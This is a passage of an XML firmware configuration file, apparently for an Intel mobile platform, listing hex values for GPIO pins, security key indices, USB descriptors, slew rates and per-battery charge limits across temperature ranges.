offset="0281"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[32]" byte_cnt="01" offset="0282"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[33]" byte_cnt="01" offset="0283"> <data>20</data> </hdr_node> <hdr_node name="hdmi_cec" byte_cnt="01" offset="0284"> <data>45</data> </hdr_node> <hdr_node name="i2c_3_scl_hdmi_ddc" byte_cnt="01" offset="0285"> <data>66</data> </hdr_node> <hdr_node name="i2c_3_sda_hdmi_ddc" byte_cnt="01" offset="0286"> <data>66</data> </hdr_node> <hdr_node name="i2c_0_scl" byte_cnt="01" offset="0287"> <data>66</data> </hdr_node> <hdr_node name="i2c_0_sda" byte_cnt="01" offset="0288"> <data>66</data> </hdr_node> <hdr_node name="i2c_1_scl" byte_cnt="01" offset="0289"> <data>66</data> </hdr_node> <hdr_node name="i2c_1_sda" byte_cnt="01" offset="028A"> <data>66</data> </hdr_node> <hdr_node name="i2c_2_scl" byte_cnt="01" offset="028B"> <data>66</data> </hdr_node> <hdr_node name="i2c_2_sda" byte_cnt="01" offset="028C"> <data>66</data> </hdr_node> <hdr_node name="spi_1_clk" byte_cnt="01" offset="028D"> <data>00</data> </hdr_node> <hdr_node name="spi_1_sdi" byte_cnt="01" offset="028E"> <data>01</data> </hdr_node> <hdr_node name="spi_1_sdo" byte_cnt="01" offset="028F"> <data>00</data> </hdr_node> <hdr_node name="spi_1_ss[0]" byte_cnt="01" offset="0290"> <data>00</data> </hdr_node> <hdr_node name="spi_1_ss[1]" byte_cnt="01" offset="0291"> <data>00</data> </hdr_node> <hdr_node name="spi_1_ss[2]" byte_cnt="01" offset="0292"> <data>00</data> </hdr_node> <hdr_node name="spi_1_ss[3]" byte_cnt="01" offset="0293"> <data>00</data> </hdr_node> <hdr_node name="spi_1_ss[4]" byte_cnt="01" offset="0294"> <data>00</data> </hdr_node> <hdr_node name="Reserved" byte_cnt="01" offset="0295"> <data>00</data> </hdr_node> <!--End of Pinlist!--> <!-- END GP PIN REGS --> <!-- BEGIN Intel Reserved --> <hdr_node name="Intel Reserved 0x0296" byte_cnt="06" offset="0296"> <data>000000000000</data> </hdr_node> <!-- END Intel Reserved --> <!-- BEGIN SKIIA Security Key Index --> <hdr_node name="SKIIA Security Key Index (ia Key Index)" byte_cnt="01" offset="029C"> <data>02</data> </hdr_node> <hdr_node name="SKIIA Security Key Index (os Key Index)" byte_cnt="01" offset="029D"> <data>02</data> </hdr_node> <hdr_node name="SKIIA Security Key Index (ext. FW Key Index)" byte_cnt="01" offset="029E"> <data>02</data> </hdr_node> <hdr_node name="SKIIA Security Key Index (RESERVED)" byte_cnt="01" offset="029F"> <data>00</data> </hdr_node> <!-- END SKIIA Security Key Index --> <!-- BEGIN USB Descriptor --> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02A0"> <data>00000000</data> </hdr_node> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02A4"> <data>00000000</data> </hdr_node> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02A8"> <data>00000000</data> </hdr_node> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02AC"> <data>00000000</data> </hdr_node> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02B0"> <data>00000000</data> </hdr_node> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02B4"> <data>00000000</data> </hdr_node> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02B8"> <data>00000000</data> </hdr_node> <hdr_node name="USB Descriptor Overrides" byte_cnt="04" offset="02BC"> <data>00000000</data> </hdr_node> <!-- END USB Descriptor --> <!-- BEGIN SLEW RATES --> <hdr_node name="Slew Rates Table" byte_cnt="04" offset="02C0"> <data>0F0FF0FC</data> </hdr_node> <hdr_node name="Slew Rates Table" byte_cnt="04" offset="02C4"> <data>88FAE173</data> </hdr_node> <hdr_node name="Slew Rates Table" byte_cnt="04" offset="02C8"> <data>88FAE177</data> </hdr_node> <!-- END SLEW RATES --> <!-- BEGIN Reserved --> <hdr_node name="Wake Control Register" byte_cnt="04" offset="02CC"> <data>00000000</data> </hdr_node> <!-- END Reserved --> <!-- BEGIN Security FW Sizes --> <hdr_node name="iCache Security FW Size" byte_cnt="4" offset="02D0"> <data>00000000</data> </hdr_node> <hdr_node name="Resident Image Security FW Size" byte_cnt="4" offset="02D4"> <data>00000000</data> </hdr_node> <hdr_node name="Extended Security FW Size" byte_cnt="4" offset="02D8"> <data>00000000</data> </hdr_node> <hdr_node name="Reserved Security FW Size" byte_cnt="4" offset="02DC"> <data>00000000</data> </hdr_node> <!-- END Security FW Sizes --> <!-- BEGIN RTC Reg --> <hdr_node name="RTC Config 2 Register" byte_cnt="4" offset="02E0"> <data>00000073</data> </hdr_node> <!-- END RTC Regs --> <!-- BEGIN Battery Settings --> <hdr_node name="Battery Settings" byte_cnt="4" offset="02E4"> <data>00001EB4</data> </hdr_node> <!-- END Battery Settings --> <!-- BEGIN VAUDA Config --> <hdr_node name="VAUDA Configuration for MSIC Rails" byte_cnt="4" offset="02E8"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Name ..." byte_cnt="4" offset="02EC"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Name" byte_cnt="4" offset="02F0"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Manufacturer ..." byte_cnt="4" offset="02F4"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Manufacturer" byte_cnt="4" offset="02F8"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Serial" byte_cnt="4" offset="02FC"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Serial" byte_cnt="4" offset="0300"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Serial" byte_cnt="4" offset="0304"> <data>00000000</data> </hdr_node> <hdr_node name="USB Product Serial" byte_cnt="4" offset="0308"> <data>00000000</data> </hdr_node> <hdr_node name="PTI Field" byte_cnt="4" offset="030C"> <data>00000090</data> </hdr_node> <!-- END VAUDA Config --> <!-- BEGIN Reserved --> <hdr_node name="Intel Reserved 0x0310" byte_cnt="4" offset="0310"> <data>00000000</data> </hdr_node> <!-- END Reserved --> <!-- BEGIN SBCT - Supportted Battery Characteristics Table --> <hdr_node name="SBCT REV" byte_cnt="1" offset="0314"> <data>16</data> </hdr_node> <hdr_node name="FPO (Fixed Platform Options)" byte_cnt="1" offset="0315"> <data>4D</data> </hdr_node> <hdr_node name="FPO1 (Fixed Platform Options 1)" byte_cnt="1" offset="0316"> <data>00</data> </hdr_node> <hdr_node name="RSYS mOhms (System Resistance)" byte_cnt="1" offset="0317"> <data>AA</data> </hdr_node> <hdr_node name="VMIN mV" byte_cnt="2" offset="0318"> <data>0000</data> </hdr_node> <hdr_node name="VBATTCRIT mV" byte_cnt="2" offset="031A"> <data>0DFC</data> </hdr_node> <hdr_node name="ITC (Termination Current)" byte_cnt="2" offset="031C"> <data>0000</data> </hdr_node> <hdr_node name="TSUL - Degrees C (Safe Temperature Upper Limit)" byte_cnt="2" offset="031E"> <data>003C</data> </hdr_node> <hdr_node name="TSLL - Degrees C (Safe Temperature Lower Limit)" byte_cnt="2" offset="0320"> <data>0000</data> </hdr_node> <hdr_node name="BRDID" byte_cnt="1" offset="0322"> <data>02</data> </hdr_node> <hdr_node name="Reserved 0323" byte_cnt="1" offset="0323"> <data>00</data> </hdr_node> <hdr_node name="Reserved 0324" byte_cnt="2" offset="0324"> <data>0000</data> </hdr_node> <hdr_node name="BTFORMAT (NUM_BATTERIES/NUM_TEMP_RANGES)" byte_cnt="1" offset="0326"> <data>13</data> </hdr_node> <!-- BEGIN Battery #1 data--> <!-- BEGIN Battery #1 Header data --> <hdr_node name="B1IDMIN (Battery #1 ID-MIN ADC Value)" byte_cnt="2" offset="0327"> <data>0000</data> </hdr_node> <hdr_node name="B1IDMAX (Battery #1 ID-MAX ADC Value)" byte_cnt="2" offset="0329"> <data>0000</data> </hdr_node> <hdr_node name="B1TYPE (Battery #1 Type)" byte_cnt="1" offset="032B"> <data>02</data> </hdr_node> <hdr_node name="B1CAP (Battery #1 Capacity (mAH))" byte_cnt="2" offset="032C"> <data>05D2</data> </hdr_node> <hdr_node name="B1VMAX lower (Battery #1 Max Voltage (mV))" byte_cnt="1" offset="032E"> <data>68</data> </hdr_node> <hdr_node name="B1VMAX upper (Battery #1 Max Voltage (mV))" byte_cnt="1" offset="032F"> <data>10</data> </hdr_node> <hdr_node name="B1LOWBATTLS (Battery #1 Low Setting-LOWBATTDET)" byte_cnt="1" offset="0330"> <data>C7</data> </hdr_node> <hdr_node name="B1SAFE (Battery #1 Safe Voltage/Current Limit-CHRSAFELMT)" byte_cnt="1" offset="0331"> <data>90</data> </hdr_node> <!-- END Battery #1 Header data --> <!-- BEGIN Battery #1 Temp Range 4 data --> <hdr_node name="B1T4UL (Temp Range 4 UL - Degrees C Upper Bound +60C)" byte_cnt="2" offset="0332"> <data>003C</data> </hdr_node> <hdr_node name="B1T4PR (Temp Range 4 Pack Resistance (ohms))" byte_cnt="1" offset="0334"> <data>AA</data> </hdr_node> <hdr_node name="B1T4FCV lower(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0335"> <data>68</data> </hdr_node> <hdr_node name="B1T4FCV upper(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0336"> <data>10</data> </hdr_node> <hdr_node name="B1T4FCI (Temp Range 4 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0337"> <data>0145</data> </hdr_node> <hdr_node name="B1T4MCVSTART lower (Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0339"> <data>36</data> </hdr_node> <hdr_node name="B1T4MCVSTART upper (Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="033A"> <data>10</data> </hdr_node> <hdr_node name="B1T4MCVSTOP (Temp Range 4 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="033B"> <data>1068</data> </hdr_node> <hdr_node name="B1T4MCI lower(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="033D"> <data>45</data> </hdr_node> <hdr_node name="B1T4MCI upper(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="033E"> <data>01</data> </hdr_node> <!-- END Battery #1 Temp Range 4 data --> <!-- BEGIN Battery #1 Temp Range 3 data --> <hdr_node name="B1T3UL (Temp Range 3 UL - Degrees C Upper Bound +45C)" byte_cnt="2" offset="033F"> <data>002D</data> </hdr_node> <hdr_node name="B1T3PR (Temp Range 3 Pack Resistance)" byte_cnt="1" offset="0341"> <data>AA</data> </hdr_node> <hdr_node name="B1T3FCV lower(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0342"> <data>68</data> </hdr_node> <hdr_node name="B1T3FCV upper(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0343"> <data>10</data> </hdr_node> <hdr_node name="B1T3FCI (Temp Range 3 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0344"> <data>0355</data> </hdr_node> <hdr_node name="B1T3MCVSTART lower(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0346"> <data>36</data> </hdr_node> <hdr_node name="B1T3MCVSTART upper(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0347"> <data>10</data> </hdr_node> <hdr_node name="B1T3MCVSTOP (Temp Range 3 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0348"> <data>1068</data> </hdr_node> <hdr_node name="B1T3MCI lower(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="034A"> <data>5B</data> </hdr_node> <hdr_node name="B1T3MCI upper(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="034B"> <data>03</data> </hdr_node> <!-- END Battery #1 Temp Range 3 data --> <!-- BEGIN Battery #1 Temp Range 2 data --> <hdr_node name="B1T2UL (Temp Range 2 UL - Degrees C Upper Bound +10C)" byte_cnt="2" offset="034C"> <data>000A</data> </hdr_node> <hdr_node name="B1T2PR (Temp Range 2 Pack Resistance)" byte_cnt="1" offset="034E"> <data>AA</data> </hdr_node> <hdr_node name="B1T2FCV lower(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="034F"> <data>68</data> </hdr_node> <hdr_node name="B1T2FCV upper(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0350"> <data>10</data> </hdr_node> <hdr_node name="B1T2FCI (Temp Range 2 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0351"> <data>0362</data> </hdr_node> <hdr_node name="B1T2MCVSTART lower(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0353"> <data>36</data> </hdr_node> <hdr_node name="B1T2MCVSTART upper(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0354"> <data>10</data> </hdr_node> <hdr_node name="B1T2MCVSTOP (Temp Range 2 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0355"> <data>1068</data> </hdr_node> <hdr_node name="B1T2MCI lower(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0357"> <data>68</data> </hdr_node> <hdr_node name="B1T2MCI upper(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0358"> <data>03</data> </hdr_node> <!-- END Battery #1 Temp Range 2 data --> <!-- BEGIN Battery #1 Temp Range 1 data --> <hdr_node name="B1T1UL (Temp Range 1 UL - Degrees C Upper Bound +0C)" byte_cnt="2" offset="0359"> <data>0000</data> </hdr_node> <hdr_node name="B1T1PR (Temp Range 1 Pack Resistance)" byte_cnt="1" offset="035B"> <data>00</data> </hdr_node> <hdr_node name="B1T1FCV lower(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="035C"> <data>00</data> </hdr_node> <hdr_node name="B1T1FCV upper(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="035D"> <data>00</data> </hdr_node> <hdr_node name="B1T1FCI (Temp Range 1 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="035E"> <data>0000</data> </hdr_node> <hdr_node name="B1T1MCVSTART lower(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0360"> <data>00</data> </hdr_node> <hdr_node name="B1T1MCVSTART upper(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0361"> <data>00</data> </hdr_node> <hdr_node name="B1T1MCVSTOP (Temp Range 1 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0362"> <data>0000</data> </hdr_node> <hdr_node name="B1T1MCI lower(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0364"> <data>00</data> </hdr_node> <hdr_node name="B1T1MCI upper(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0365"> <data>00</data> </hdr_node> <!-- END Battery #1 Temp Range 1 data --> <hdr_node name="B1T1LL (Temp Range 1 LL - Degrees C Lower Bound -10C)" byte_cnt="2" offset="0366"> <data>800A</data> </hdr_node> <!-- END Battery #1 Header data --> <!-- END Battery #1 data--> <!-- BEGIN Battery #2 data--> <!-- BEGIN Battery #2 Header data --> <hdr_node name="B2IDMIN (Battery #2 ID-MIN ADC Value)" byte_cnt="2" offset="0368"> <data>0000</data> </hdr_node> <hdr_node name="B2IDMAX (Battery #2 ID-MAX ADC Value)" byte_cnt="2" offset="036A"> <data>0000</data> </hdr_node> <hdr_node name="B2TYPE (Battery #2 Type)" byte_cnt="1" offset="036C"> <data>02</data> </hdr_node> <hdr_node name="B2CAP (Battery #2 Capacity (mAH))" byte_cnt="2" offset="036D"> <data>05DC</data> </hdr_node> <hdr_node name="B2VMAX lower(Battery #2 Max Voltage (mV))" byte_cnt="1" offset="036F"> <data>68</data> </hdr_node> <hdr_node name="B2VMAX upper(Battery #2 Max Voltage (mV))" byte_cnt="1" offset="0370"> <data>10</data> </hdr_node> <hdr_node name="B2LOWBATTLS (Battery #2 Low Setting-LOWBATTDET)" byte_cnt="1" offset="0371"> <data>02</data> </hdr_node> <hdr_node name="B2SAFE (Battery #2 Safe Voltage/Current Limit-CHRSAFELMT)" byte_cnt="1" offset="0372"> <data>40</data> </hdr_node> <!-- END Battery #2 Header data --> <!-- BEGIN Battery #2 Temp Range 4 data --> <hdr_node name="B2T4UL (Temp Range 4 UL-Degrees C Upper Bound +60C)" byte_cnt="2" offset="0373"> <data>003C</data> </hdr_node> <hdr_node name="B2T4PR (Temp Range 4 Pack Resistance)" byte_cnt="1" offset="0375"> <data>00</data> </hdr_node> <hdr_node name="B2T4FCV lower(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0376"> <data>04</data> </hdr_node> <hdr_node name="B2T4FCV upper(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0377"> <data>10</data> </hdr_node> <hdr_node name="B2T4FCI (Temp Range 4 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0378"> <data>03B6</data> </hdr_node> <hdr_node name="B2T4MCVSTART lower(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="037A"> <data>00</data> </hdr_node> <hdr_node name="B2T4MCVSTART upper(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="037B"> <data>00</data> </hdr_node> <hdr_node name="B2T4MCVSTOP (Temp Range 4 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="037C"> <data>0FC8</data> </hdr_node> <hdr_node name="B2T4MCI lower(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="037E"> <data>B6</data> </hdr_node> <hdr_node name="B2T4MCI upper(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="037F"> <data>03</data> </hdr_node> <!-- END Battery #2 Temp Range 4 data --> <!-- BEGIN Battery #2 Temp Range 3 data --> <hdr_node name="B2T3UL (Temp Range 3 UL - Degrees C Upper Bound +45C)" byte_cnt="2" offset="0380"> <data>002D</data> </hdr_node> <hdr_node name="B2T3PR (Temp Range 3 Pack Resistance)" byte_cnt="1" offset="0382"> <data>00</data> </hdr_node> <hdr_node name="B2T3FCV lower(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0383"> <data>68</data> </hdr_node> <hdr_node name="B2T3FCV upper(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0384"> <data>10</data> </hdr_node> <hdr_node name="B2T3FCI (Temp Range 3 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0385"> <data>03B6</data> </hdr_node> <hdr_node name="B2T3MCVSTART lower(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0387"> <data>00</data> </hdr_node> <hdr_node name="B2T3MCVSTART upper(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0388"> <data>00</data> </hdr_node> <hdr_node name="B2T3MCVSTOP (Temp Range 3 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0389"> <data>102C</data> </hdr_node> <hdr_node name="B2T3MCI lower(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="038B"> <data>B6</data> </hdr_node> <hdr_node name="B2T3MCI upper(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="038C"> <data>03</data> </hdr_node> <!-- END Battery #2 Temp Range 3 data --> <!-- BEGIN Battery #2 Temp Range 2 data --> <hdr_node name="B2T2UL (Temp Range 2 UL - Degrees C Upper Bound +10C)" byte_cnt="2" offset="038D"> <data>000A</data> </hdr_node> <hdr_node name="B2T2PR (Temp Range 2 Pack Resistance)" byte_cnt="1" offset="038F"> <data>00</data> </hdr_node> <hdr_node name="B2T2FCV lower(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0390"> <data>04</data> </hdr_node> <hdr_node name="B2T2FCV upper(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0391"> <data>10</data> </hdr_node> <hdr_node name="B2T2FCI (Temp Range 2 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0392"> <data>03B6</data> </hdr_node> <hdr_node name="B2T2MCVSTART lower(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0394"> <data>00</data> </hdr_node> <hdr_node name="B2T2MCVSTART upper(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0395"> <data>00</data> </hdr_node> <hdr_node name="B2T2MCVSTOP (Temp Range 2 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0396"> <data>0FC8</data> </hdr_node> <hdr_node name="B2T2MCI lower(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0398"> <data>B6</data> </hdr_node> <hdr_node name="B2T2MCI upper(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0399"> <data>03</data> </hdr_node> <!-- END Battery #2 Temp Range 2 data --> <!-- BEGIN Battery #2 Temp Range 1 data --> <hdr_node name="B2T1UL (Temp Range 1 UL - Degrees C Upper Bound +0C)" byte_cnt="2" offset="039A"> <data>0000</data> </hdr_node> <hdr_node name="B2T1PR (Temp Range 1 Pack Resistance)" byte_cnt="1" offset="039C"> <data>00</data> </hdr_node> <hdr_node name="B2T1FCV lower(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="039D"> <data>64</data> </hdr_node> <hdr_node name="B2T1FCV upper(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="039E"> <data>0F</data> </hdr_node> <hdr_node name="B2T1FCI (Temp Range 1 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="039F"> <data>0190</data> </hdr_node> <hdr_node name="B2T1MCVSTART lower(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03A1"> <data>00</data> </hdr_node> <hdr_node name="B2T1MCVSTART upper(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03A2"> <data>00</data> </hdr_node> <hdr_node name="B2T1MCVSTOP (Temp Range 1 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="03A3"> <data>0F64</data> </hdr_node> <hdr_node name="B2T1MCI lower(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03A5"> <data>90</data> </hdr_node> <hdr_node name="B2T1MCI upper(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03A6"> <data>01</data> </hdr_node> <!-- END Battery #2 Temp Range 1 data --> <hdr_node name="B2T1LL (Temp Range 1 LL - Degrees C Lower Bound -10C)" byte_cnt="2" offset="03A7"> <data>800A</data> </hdr_node> <!-- END Battery #2 Header data --> <!-- END Battery #2 data--> <!-- BEGIN Battery #3 data--> <!-- BEGIN Battery #3 Header data --> <hdr_node name="B3IDMIN (Battery #3 ID-MIN ADC Value)" byte_cnt="2" offset="03A9"> <data>0000</data> </hdr_node> <hdr_node name="B3IDMAX (Battery #3 ID-MAX ADC Value)" byte_cnt="2" offset="03AB"> <data>0000</data> </hdr_node> <hdr_node name="B3TYPE (Battery #3 Type)" byte_cnt="1" offset="03AD"> <data>02</data> </hdr_node> <hdr_node name="B3CAP (Battery #3 Capacity (mAH))" byte_cnt="2" offset="03AE"> <data>05DC</data> </hdr_node> <hdr_node name="B3VMAX lower(Battery #3 Max Voltage (mV))" byte_cnt="1" offset="03B0"> <data>68</data> </hdr_node> <hdr_node name="B3VMAX upper(Battery #3 Max Voltage (mV))" byte_cnt="1" offset="03B1"> <data>10</data> </hdr_node> <hdr_node name="B3LOWBATTLS (Battery #3 Low Setting-LOWBATTDET)" byte_cnt="1" offset="03B2"> <data>C7</data> </hdr_node> <hdr_node name="B3SAFE (Battery #3 Safe Voltage/Current Limit-CHRSAFELMT)" byte_cnt="1" offset="03B3"> <data>40</data> </hdr_node> <!-- END Battery #3 Header data --> <!-- BEGIN Battery #3 Temp Range 4 data --> <hdr_node name="B3T4UL (Temp Range 4 UL - Degrees C Upper Bound +60C)" byte_cnt="2" offset="03B4"> <data>003C</data> </hdr_node> <hdr_node name="B3T4PR (Temp Range 4 Pack Resistance)" byte_cnt="1" offset="03B6"> <data>00</data> </hdr_node> <hdr_node name="B3T4FCV lower(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03B7"> <data>04</data> </hdr_node> <hdr_node name="B3T4FCV upper(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03B8"> <data>10</data> </hdr_node> <hdr_node name="B3T4FCI (Temp Range 4 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="03B9"> <data>03B6</data> </hdr_node> <hdr_node name="B3T4MCVSTART lower(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03BB"> <data>00</data> </hdr_node> <hdr_node name="B3T4MCVSTART upper(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03BC"> <data>00</data> </hdr_node> <hdr_node name="B3T4MCVSTOP (Temp Range 4 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="03BD"> <data>0FC8</data> </hdr_node> <hdr_node name="B3T4MCI lower(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03BF"> <data>B6</data> </hdr_node> <hdr_node name="B3T4MCI upper(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03C0"> <data>03</data> </hdr_node> <!-- END Battery #3 Temp Range 4 data --> <!-- BEGIN Battery #3 Temp Range 3 data --> <hdr_node name="B3T3UL (Temp Range 3 UL - Degrees C Upper Bound +45C)" byte_cnt="2" offset="03C1"> <data>002D</data> </hdr_node> <hdr_node name="B3T3PR (Temp Range 3 Pack Resistance)" byte_cnt="1" offset="03C3"> <data>00</data> </hdr_node> <hdr_node name="B3T3FCV lower(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03C4"> <data>68</data> </hdr_node> <hdr_node name="B3T3FCV upper(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03C5"> <data>10</data> </hdr_node> <hdr_node name="B3T3FCI (Temp Range 3 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="03C6"> <data>03B6</data> </hdr_node> <hdr_node name="B3T3MCVSTART lower(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03C8"> <data>00</data> </hdr_node> <hdr_node name="B3T3MCVSTART upper(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03C9"> <data>00</data> </hdr_node> <hdr_node name="B3T3MCVSTOP (Temp Range 3 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="03CA"> <data>102C</data> </hdr_node> <hdr_node name="B3T3MCI lower(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03CC"> <data>B6</data> </hdr_node> <hdr_node name="B3T3MCI upper(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03CD"> <data>03</data> </hdr_node> <!-- END Battery #3 Temp Range 3 data --> <!-- BEGIN Battery #3 Temp Range 2 data --> <hdr_node name="B3T2UL (Temp Range 2 UL - Degrees C Upper Bound +10C)" byte_cnt="2" offset="03CE"> <data>000A</data> </hdr_node> <hdr_node name="B3T2PR (Temp Range 2 Pack Resistance)" byte_cnt="1" offset="03D0"> <data>00</data> </hdr_node> <hdr_node name="B3T2FCV lower(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03D1"> <data>04</data> </hdr_node> <hdr_node name="B3T2FCV upper(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03D2"> <data>10</data> </hdr_node> <hdr_node name="B3T2FCI (Temp Range 2 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="03D3"> <data>03B6</data> </hdr_node> <hdr_node name="B3T2MCVSTART lower(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03D5"> <data>00</data> </hdr_node> <hdr_node name="B3T2MCVSTART upper(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03D6"> <data>00</data> </hdr_node> <hdr_node name="B3T2MCVSTOP (Temp Range 2 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="03D7"> <data>0FC8</data> </hdr_node> <hdr_node name="B3T2MCI lower(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03D9"> <data>B6</data> </hdr_node> <hdr_node name="B3T2MCI upper(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03DA"> <data>03</data> </hdr_node> <!-- END Battery #3 Temp Range 2 data --> <!-- BEGIN Battery #3 Temp Range 1 data --> <hdr_node name="B3T1UL (Temp Range 1 UL - Degrees C Upper Bound +0C)" byte_cnt="2" offset="03DB"> <data>0000</data> </hdr_node> 